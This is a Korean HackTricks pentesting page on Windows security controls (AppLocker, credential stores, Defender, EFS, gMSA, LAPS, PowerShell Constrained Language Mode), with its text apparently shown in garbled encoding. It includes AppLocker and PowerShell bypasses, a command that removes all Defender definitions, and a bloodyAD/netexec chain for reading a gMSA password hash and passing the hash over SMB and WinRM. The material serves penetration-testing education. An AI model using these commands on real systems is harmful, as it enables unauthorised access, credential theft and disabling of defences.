Windows ๋ณด์•ˆ ์ œ์–ด

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

AppLocker ์ •์ฑ…

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋Š” ์‹œ์Šคํ…œ์— ์กด์žฌํ•˜๊ฑฐ๋‚˜ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์ด ํ—ˆ์šฉ๋œ ์Šน์ธ๋œ ์†Œํ”„ํŠธ์›จ์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋˜๋Š” ์‹คํ–‰ ํŒŒ์ผ์˜ ๋ชฉ๋ก์ด๋‹ค. ๋ชฉ์ ์€ ์กฐ์ง์˜ ํŠน์ • ๋น„์ฆˆ๋‹ˆ์Šค ์š”๊ตฌ์— ๋ถ€ํ•ฉํ•˜์ง€ ์•Š๋Š” ์œ ํ•ดํ•œ malware์™€ ์Šน์ธ๋˜์ง€ ์•Š์€ ์†Œํ”„ํŠธ์›จ์–ด๋กœ๋ถ€ํ„ฐ ํ™˜๊ฒฝ์„ ๋ณดํ˜ธํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

AppLocker ์€ Microsoft์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์†”๋ฃจ์…˜์ด๋ฉฐ ์‹œ์Šคํ…œ ๊ด€๋ฆฌ์ž๊ฐ€ ์‚ฌ์šฉ์ž๊ฐ€ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ํŒŒ์ผ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค€๋‹ค. ๋˜ํ•œ executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers์— ๋Œ€ํ•ด ์„ธ๋ถ€์ ์ธ ์ œ์–ด๋ฅผ ์ œ๊ณตํ•œ๋‹ค.
์กฐ์ง์—์„œ๋Š” cmd.exe and PowerShell.exe์™€ ํŠน์ • ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ์ฐจ๋‹จํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ํ”ํ•˜์ง€๋งŒ, ์ด ๋ชจ๋“  ๊ฒƒ์€ ์šฐํšŒ๋  ์ˆ˜ ์žˆ๋‹ค.

ํ™•์ธ

์–ด๋–ค ํŒŒ์ผ/ํ™•์žฅ์ž๊ฐ€ blacklisted/whitelisted ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธ:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

์ด ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฒฝ๋กœ๋Š” AppLocker์— ์˜ํ•ด ์ ์šฉ๋œ ๊ตฌ์„ฑ๊ณผ ์ •์ฑ…์„ ํฌํ•จํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, ์‹œ์Šคํ…œ์— ์ ์šฉ๋œ ํ˜„์žฌ ๊ทœ์น™ ์ง‘ํ•ฉ์„ ๊ฒ€ํ† ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

Bypass

  • AppLocker ์ •์ฑ…์„ ์šฐํšŒํ•˜๋Š” ๋ฐ ์œ ์šฉํ•œ Writable folders: AppLocker๊ฐ€ C:\Windows\System32 ๋˜๋Š” C:\Windows ๋‚ด๋ถ€์—์„œ ์–ด๋–ค ๊ฒƒ์ด๋“  ์‹คํ–‰ํ•˜๋„๋ก ํ—ˆ์šฉํ•œ๋‹ค๋ฉด, ์ด๋ฅผ bypass thisํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” writable folders๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • ์ผ๋ฐ˜์ ์œผ๋กœ trusted โ€œLOLBASโ€™sโ€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” AppLocker๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐ์—๋„ ์œ ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ๋ถ€์‹คํ•˜๊ฒŒ ์ž‘์„ฑ๋œ ๊ทœ์น™์€ ์šฐํšŒ๋  ์ˆ˜ ์žˆ๋‹ค
  • ์˜ˆ๋ฅผ ๋“ค์–ด, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, ์•„๋ฌด ๊ณณ์—๋‚˜ allowed๋ผ๋Š” ํด๋”๋ฅผ ๋งŒ๋“ค๋ฉด ํ—ˆ์šฉ๋œ๋‹ค.
  • ์กฐ์ง๋“ค์€ ์ข…์ข… %System32%\WindowsPowerShell\v1.0\powershell.exe ์‹คํ–‰ ํŒŒ์ผ์„ ์ฐจ๋‹จํ•˜๋Š” ๋ฐ ์ง‘์ค‘ํ•˜์ง€๋งŒ, %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe๋‚˜ PowerShell_ISE.exe์™€ ๊ฐ™์€ ๋‹ค๋ฅธ PowerShell executable locations๋ฅผ ์žŠ๋Š”๋‹ค.
  • DLL enforcement๋Š” ์‹œ์Šคํ…œ์— ์ถ”๊ฐ€ ๋ถ€ํ•˜์™€ ๊ด‘๋ฒ”์œ„ํ•œ ํ…Œ์ŠคํŠธ ํ•„์š”์„ฑ ๋•Œ๋ฌธ์— ๊ฑฐ์˜ ํ™œ์„ฑํ™”๋˜์ง€ ์•Š๋Š”๋‹ค. ๋”ฐ๋ผ์„œ DLL์„ ๋ฐฑ๋„์–ด๋กœ ์‚ฌ์šฉํ•˜๋ฉด AppLocker๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋œ๋‹ค.
  • ReflectivePick ๋˜๋Š” SharpPick์„ ์‚ฌ์šฉํ•ด ์–ด๋–ค ํ”„๋กœ์„ธ์Šค์—์„œ๋“  Powershell ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  AppLocker๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜๋ผ: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Credentials Storage

Security Accounts Manager (SAM)

๋กœ์ปฌ ์ž๊ฒฉ ์ฆ๋ช…์€ ์ด ํŒŒ์ผ์— ์กด์žฌํ•˜๋ฉฐ, ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ํ•ด์‹œ๋˜์–ด ์žˆ๋‹ค.

Local Security Authority (LSA) - LSASS

ํ•ด์‹œ๋œ ์ž๊ฒฉ ์ฆ๋ช…์€ Single Sign-On์„ ์œ„ํ•ด ์ด ์„œ๋ธŒ์‹œ์Šคํ…œ์˜ ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅ๋œ๋‹ค.
LSA๋Š” ๋กœ์ปฌ ๋ณด์•ˆ ์ •์ฑ…(๋น„๋ฐ€๋ฒˆํ˜ธ ์ •์ฑ…, ์‚ฌ์šฉ์ž ๊ถŒํ•œ ๋“ฑ), ์ธ์ฆ, ์•ก์„ธ์Šค ํ† ํฐ ๋“ฑ์„ ๊ด€๋ฆฌํ•œ๋‹ค.
LSA๋Š” ๋กœ์ปฌ ๋กœ๊ทธ์ธ์„ ์œ„ํ•ด SAM ํŒŒ์ผ ๋‚ด์—์„œ ์ œ๊ณต๋œ ์ž๊ฒฉ ์ฆ๋ช…์„ ๊ฒ€์ฆํ•˜๊ณ  ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๋ฅผ ์ธ์ฆํ•˜๊ธฐ ์œ„ํ•ด ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์™€ ํ†ต์‹ ํ•œ๋‹ค.

์ž๊ฒฉ ์ฆ๋ช…์€ LSASS ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์— ์ €์žฅ๋œ๋‹ค: Kerberos ํ‹ฐ์ผ“, NT ๋ฐ LM ํ•ด์‹œ, ์‰ฝ๊ฒŒ ๋ณตํ˜ธํ™” ๊ฐ€๋Šฅํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋“ค.

LSA secrets

LSA๋Š” ๋””์Šคํฌ์— ์ผ๋ถ€ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ €์žฅํ•  ์ˆ˜ ์žˆ๋‹ค:

  • Active Directory์˜ ์ปดํ“จํ„ฐ ๊ณ„์ • ๋น„๋ฐ€๋ฒˆํ˜ธ (๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์— ์ ‘๊ทผ ๋ถˆ๊ฐ€ํ•œ ๊ฒฝ์šฐ).
  • Windows ์„œ๋น„์Šค ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ
  • ์˜ˆ์•ฝ๋œ ์ž‘์—…์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ
  • ๊ธฐํƒ€ (IIS ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋“ฑโ€ฆ)

NTDS.dit

Active Directory์˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์ด๋‹ค. ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—๋งŒ ์กด์žฌํ•œ๋‹ค.

Defender

Microsoft Defender๋Š” Windows 10 ๋ฐ Windows 11, ๊ทธ๋ฆฌ๊ณ  Windows Server ๋ฒ„์ „์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์•ˆํ‹ฐ๋ฐ”์ด๋Ÿฌ์Šค์ด๋‹ค. ์ด๋Š” WinPEAS ๊ฐ™์€ ์ผ๋ฐ˜์ ์ธ pentesting ๋„๊ตฌ๋ฅผ ์ฐจ๋‹จํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.

Check

Defender์˜ ์ƒํƒœ๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด PS cmdlet **Get-MpComputerStatus**๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค (ํ™œ์„ฑํ™” ์—ฌ๋ถ€๋ฅผ ์•Œ๊ธฐ ์œ„ํ•ด RealTimeProtectionEnabled ๊ฐ’์„ ํ™•์ธ):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

์ž์„ธํžˆ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•  ์ˆ˜๋„ ์žˆ๋‹ค:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

์•”ํ˜ธํ™”๋œ ํŒŒ์ผ ์‹œ์Šคํ…œ (EFS)

EFS๋Š” ๋Œ€์นญ ํ‚ค์ธ **File Encryption Key (FEK)**๋ฅผ ์‚ฌ์šฉํ•ด ํŒŒ์ผ์„ ์•”ํ˜ธํ™”ํ•˜์—ฌ ๋ณดํ˜ธํ•ฉ๋‹ˆ๋‹ค. ์ด ํ‚ค๋Š” ์‚ฌ์šฉ์ž์˜ ๊ณต๊ฐœ ํ‚ค๋กœ ์•”ํ˜ธํ™”๋˜์–ด ์•”ํ˜ธํ™”๋œ ํŒŒ์ผ์˜ $EFS ๋Œ€์ฒด ๋ฐ์ดํ„ฐ ์ŠคํŠธ๋ฆผ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ๋ณตํ˜ธํ™”๊ฐ€ ํ•„์š”ํ•  ๋•Œ๋Š” ์‚ฌ์šฉ์ž์˜ ๋””์ง€ํ„ธ ์ธ์ฆ์„œ์— ํ•ด๋‹นํ•˜๋Š” ๊ฐœ์ธ ํ‚ค๋กœ $EFS ์ŠคํŠธ๋ฆผ์—์„œ FEK๋ฅผ ๋ณตํ˜ธํ™”ํ•˜์—ฌ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ here๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

์‚ฌ์šฉ์ž ๊ฐœ์ž… ์—†์ด ๋ฐœ์ƒํ•˜๋Š” ๋ณตํ˜ธํ™” ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ํŒŒ์ผ์ด๋‚˜ ํด๋”๊ฐ€ FAT32 ๊ฐ™์€ ๋น„-EFS ํŒŒ์ผ ์‹œ์Šคํ…œ์œผ๋กœ ์ด๋™๋  ๋•Œ ์ž๋™์œผ๋กœ ๋ณตํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค.
  • SMB/CIFS ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด ๋„คํŠธ์›Œํฌ๋กœ ์ „์†ก๋˜๋Š” ์•”ํ˜ธํ™”๋œ ํŒŒ์ผ์€ ์ „์†ก ์ „์— ๋ณตํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค.

์ด ์•”ํ˜ธํ™” ๋ฐฉ์‹์€ ์†Œ์œ ์ž์—๊ฒŒ ์•”ํ˜ธํ™”๋œ ํŒŒ์ผ์— ๋Œ€ํ•œ ํˆฌ๋ช…ํ•œ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์†Œ์œ ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ณ  ๋กœ๊ทธ์ธํ•œ๋‹ค๊ณ  ํ•ด์„œ ์ž๋™์œผ๋กœ ๋ณตํ˜ธํ™” ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋˜์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค.

์š”์•ฝ:

  • EFS๋Š” ๋Œ€์นญ FEK๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ด๋Š” ์‚ฌ์šฉ์ž์˜ ๊ณต๊ฐœ ํ‚ค๋กœ ์•”ํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค.
  • ๋ณตํ˜ธํ™”๋Š” FEK์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ์ž์˜ ๊ฐœ์ธ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • FAT32๋กœ ๋ณต์‚ฌํ•˜๊ฑฐ๋‚˜ ๋„คํŠธ์›Œํฌ ์ „์†ก๊ณผ ๊ฐ™์ด ํŠน์ • ์กฐ๊ฑด์—์„œ ์ž๋™ ๋ณตํ˜ธํ™”๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
  • ์•”ํ˜ธํ™”๋œ ํŒŒ์ผ์€ ์†Œ์œ ์ž๊ฐ€ ์ถ”๊ฐ€ ๋‹จ๊ณ„ ์—†์ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

EFS ์ •๋ณด ํ™•์ธ

์ด ์„œ๋น„์Šค๊ฐ€ ์‚ฌ์šฉ์ž์— ์˜ํ•ด ์‚ฌ์šฉ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ์ด ๊ฒฝ๋กœ๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”: C:\users\<username>\appdata\roaming\Microsoft\Protect

ํŒŒ์ผ์— ๋ˆ„๊ฐ€ ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด cipher /c \<file\>๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
ํด๋” ์•ˆ์—์„œ cipher /e ์™€ cipher /d๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ชจ๋“  ํŒŒ์ผ์„ ์•”ํ˜ธํ™” ๋ฐ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

EFS ํŒŒ์ผ ๋ณตํ˜ธํ™”

Being Authority System

์ด ๋ฐฉ๋ฒ•์€ ํ”ผํ•ด์ž ์‚ฌ์šฉ์ž๊ฐ€ ํ˜ธ์ŠคํŠธ ๋‚ด์—์„œ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ ์ค‘์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ meterpreter ์„ธ์…˜์„ ์‚ฌ์šฉํ•˜์—ฌ ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ ํ”„๋กœ์„ธ์Šค ํ† ํฐ์„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (impersonate_token from incognito). ๋˜๋Š” ๋‹จ์ˆœํžˆ ์‚ฌ์šฉ์ž์˜ ํ”„๋กœ์„ธ์Šค๋กœ migrateํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

Knowing the users password

howto ~ decrypt EFS files \xc2\xb7 gentilkiwi/mimikatz Wiki \xc2\xb7 GitHub

Group Managed Service Accounts (gMSA)

Microsoft๋Š” IT ์ธํ”„๋ผ์—์„œ ์„œ๋น„์Šค ๊ณ„์ • ๊ด€๋ฆฌ๋ฅผ ๋‹จ์ˆœํ™”ํ•˜๊ธฐ ์œ„ํ•ด **Group Managed Service Accounts (gMSA)**๋ฅผ ๊ฐœ๋ฐœํ–ˆ์Šต๋‹ˆ๋‹ค. ํ”ํžˆ โ€œPassword never expireโ€ ์„ค์ •์ด ์‚ฌ์šฉ๋˜๋Š” ์ „ํ†ต์ ์ธ ์„œ๋น„์Šค ๊ณ„์ •๊ณผ ๋‹ฌ๋ฆฌ, gMSA๋Š” ๋” ์•ˆ์ „ํ•˜๊ณ  ๊ด€๋ฆฌํ•˜๊ธฐ ์‰ฌ์šด ์†”๋ฃจ์…˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

  • ์ž๋™ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ด€๋ฆฌ: gMSA๋Š” ๋ณต์žกํ•œ 240์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ ๋„๋ฉ”์ธ ๋˜๋Š” ์ปดํ“จํ„ฐ ์ •์ฑ…์— ๋”ฐ๋ผ ์ž๋™์œผ๋กœ ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ Microsoft์˜ Key Distribution Service (KDC)๊ฐ€ ์ฒ˜๋ฆฌํ•˜์—ฌ ์ˆ˜๋™์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฐฑ์‹ ํ•  ํ•„์š”๋ฅผ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.
  • ํ–ฅ์ƒ๋œ ๋ณด์•ˆ: ์ด ๊ณ„์ •๋“ค์€ ์ž ๊ธˆ์— ์˜ํ–ฅ์„ ๋ฐ›์ง€ ์•Š์œผ๋ฉฐ ๋Œ€ํ™”ํ˜• ๋กœ๊ทธ์ธ์— ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ ๋ณด์•ˆ์ด ํ–ฅ์ƒ๋ฉ๋‹ˆ๋‹ค.
  • ๋‹ค์ค‘ ํ˜ธ์ŠคํŠธ ์ง€์›: gMSA๋Š” ์—ฌ๋Ÿฌ ํ˜ธ์ŠคํŠธ์—์„œ ๊ณต์œ ๋  ์ˆ˜ ์žˆ์–ด ๋‹ค์ˆ˜์˜ ์„œ๋ฒ„์—์„œ ์‹คํ–‰๋˜๋Š” ์„œ๋น„์Šค์— ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค.
  • ์˜ˆ์•ฝ ์ž‘์—… ๊ธฐ๋Šฅ: managed service accounts์™€ ๋‹ฌ๋ฆฌ gMSA๋Š” scheduled tasks ์‹คํ–‰์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.
  • SPN ๊ด€๋ฆฌ ๋‹จ์ˆœํ™”: ์ปดํ“จํ„ฐ์˜ sAMAccount ์†์„ฑ์ด๋‚˜ DNS ์ด๋ฆ„์ด ๋ณ€๊ฒฝ๋  ๋•Œ ์‹œ์Šคํ…œ์ด ์ž๋™์œผ๋กœ Service Principal Name (SPN)์„ ์—…๋ฐ์ดํŠธํ•˜์—ฌ SPN ๊ด€๋ฆฌ๋ฅผ ๊ฐ„์†Œํ™”ํ•ฉ๋‹ˆ๋‹ค.

gMSA์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” LDAP ์†์„ฑ _msDS-ManagedPassword_์— ์ €์žฅ๋˜๋ฉฐ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ(DC)์— ์˜ํ•ด ์ž๋™์œผ๋กœ 30์ผ๋งˆ๋‹ค ์žฌ์„ค์ •๋ฉ๋‹ˆ๋‹ค. ์ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” MSDS-MANAGEDPASSWORD_BLOB๋กœ ์•Œ๋ ค์ง„ ์•”ํ˜ธํ™”๋œ ๋ฐ์ดํ„ฐ ๋ธ”๋กญ์ด๋ฉฐ, ๊ถŒํ•œ ์žˆ๋Š” ๊ด€๋ฆฌ์ž์™€ gMSA๊ฐ€ ์„ค์น˜๋œ ์„œ๋ฒ„๋งŒ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์–ด ์•ˆ์ „ํ•œ ํ™˜๊ฒฝ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด ์ •๋ณด์— ์ ‘๊ทผํ•˜๋ ค๋ฉด LDAPS์™€ ๊ฐ™์€ ๋ณด์•ˆ ์—ฐ๊ฒฐ์ด ํ•„์š”ํ•˜๊ฑฐ๋‚˜ ์—ฐ๊ฒฐ์ด โ€™Sealing & Secureโ€™๋กœ ์ธ์ฆ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

https://cube0x0.github.io/Relaying-for-gMSA/

You can read this password with GMSAPasswordReader:

/GMSAPasswordReader --AccountName jkohler

์ž์„ธํ•œ ์ •๋ณด๋Š” ์ด ๊ฒŒ์‹œ๋ฌผ์„ ์ฐธ์กฐํ•˜์„ธ์š”

๋˜ํ•œ, ์ด ์›น ํŽ˜์ด์ง€์—์„œ NTLM relay attack์œผ๋กœ gMSA์˜ ์•”ํ˜ธ๋ฅผ ์ฝ๋Š” ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”.

ACL chaining์„ ์•…์šฉํ•ด gMSA ๊ด€๋ฆฌ ์•”ํ˜ธ ์ฝ๊ธฐ (GenericAll -> ReadGMSAPassword)

๋งŽ์€ ํ™˜๊ฒฝ์—์„œ, ๋‚ฎ์€ ๊ถŒํ•œ์˜ ์‚ฌ์šฉ์ž๋Š” ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ๊ฐ์ฒด ACLs๋ฅผ ์•…์šฉํ•˜์—ฌ DC๋ฅผ ์นจํ•ดํ•˜์ง€ ์•Š๊ณ  gMSA ๋น„๋ฐ€๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ทธ๋ฃน(์˜ˆ: GenericAll/GenericWrite๋ฅผ ํ†ตํ•ด)์ด gMSA์— ๋Œ€ํ•ด ReadGMSAPassword ๊ถŒํ•œ์„ ๋ถ€์—ฌ๋ฐ›์Šต๋‹ˆ๋‹ค.
  • ์ž์‹ ์„ ํ•ด๋‹น ๊ทธ๋ฃน์— ์ถ”๊ฐ€ํ•˜๋ฉด LDAP๋ฅผ ํ†ตํ•ด gMSA์˜ msDS-ManagedPassword blob์„ ์ฝ์„ ๊ถŒํ•œ์„ ์ƒ์†๋ฐ›์•„ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ NTLM ์ž๊ฒฉ์ฆ๋ช…์„ ๋„์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์ธ ์›Œํฌํ”Œ๋กœ:

  1. BloodHound๋กœ ๊ฒฝ๋กœ๋ฅผ ์ฐพ๊ณ  foothold principals๋ฅผ Owned๋กœ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์—ฃ์ง€๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”:
  • GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
  1. ์ œ์–ดํ•˜๋Š” ์ค‘๊ฐ„ ๊ทธ๋ฃน์— ์ž์‹ ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค (bloodyAD ์˜ˆ์‹œ):
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
  1. LDAP๋ฅผ ํ†ตํ•ด gMSA ๊ด€๋ฆฌ ์•”ํ˜ธ๋ฅผ ์ฝ๊ณ  NTLM ํ•ด์‹œ๋ฅผ ๋„์ถœํ•ฉ๋‹ˆ๋‹ค. NetExec๋Š” msDS-ManagedPassword ์ถ”์ถœ ๋ฐ NTLM์œผ๋กœ์˜ ๋ณ€ํ™˜์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค:
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$  NTLM: edac7f05cded0b410232b7466ec47d6f
  1. NTLM ํ•ด์‹œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ gMSA๋กœ ์ธ์ฆํ•ฉ๋‹ˆ๋‹ค (no plaintext needed). ๊ณ„์ •์ด Remote Management Users์— ์žˆ์œผ๋ฉด WinRM์ด ์ง์ ‘ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค:
# SMB / WinRM as the gMSA using the NT hash
netexec smb   <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>

์ฐธ๊ณ :

  • LDAP reads of msDS-ManagedPassword require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
  • gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement.
  • If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure.

LAPS

The Local Administrator Password Solution (LAPS), available for download from Microsoft, enables the management of local Administrator passwords. These passwords, which are randomized, unique, and regularly changed, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided.

LAPS

PS Constrained Language Mode

PowerShell Constrained Language Mode์€ PowerShell์„ ํšจ๊ณผ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•œ ๋งŽ์€ ๊ธฐ๋Šฅ์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค, ์˜ˆ๋ฅผ ๋“ค์–ด COM ๊ฐ์ฒด ์ฐจ๋‹จ, ์Šน์ธ๋œ .NET ํƒ€์ž…๋งŒ ํ—ˆ์šฉ, XAML ๊ธฐ๋ฐ˜ ์›Œํฌํ”Œ๋กœ์šฐ, PowerShell ํด๋ž˜์Šค ๋“ฑ.

ํ™•์ธ

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

์šฐํšŒ

#Easy bypass
Powershell -version 2

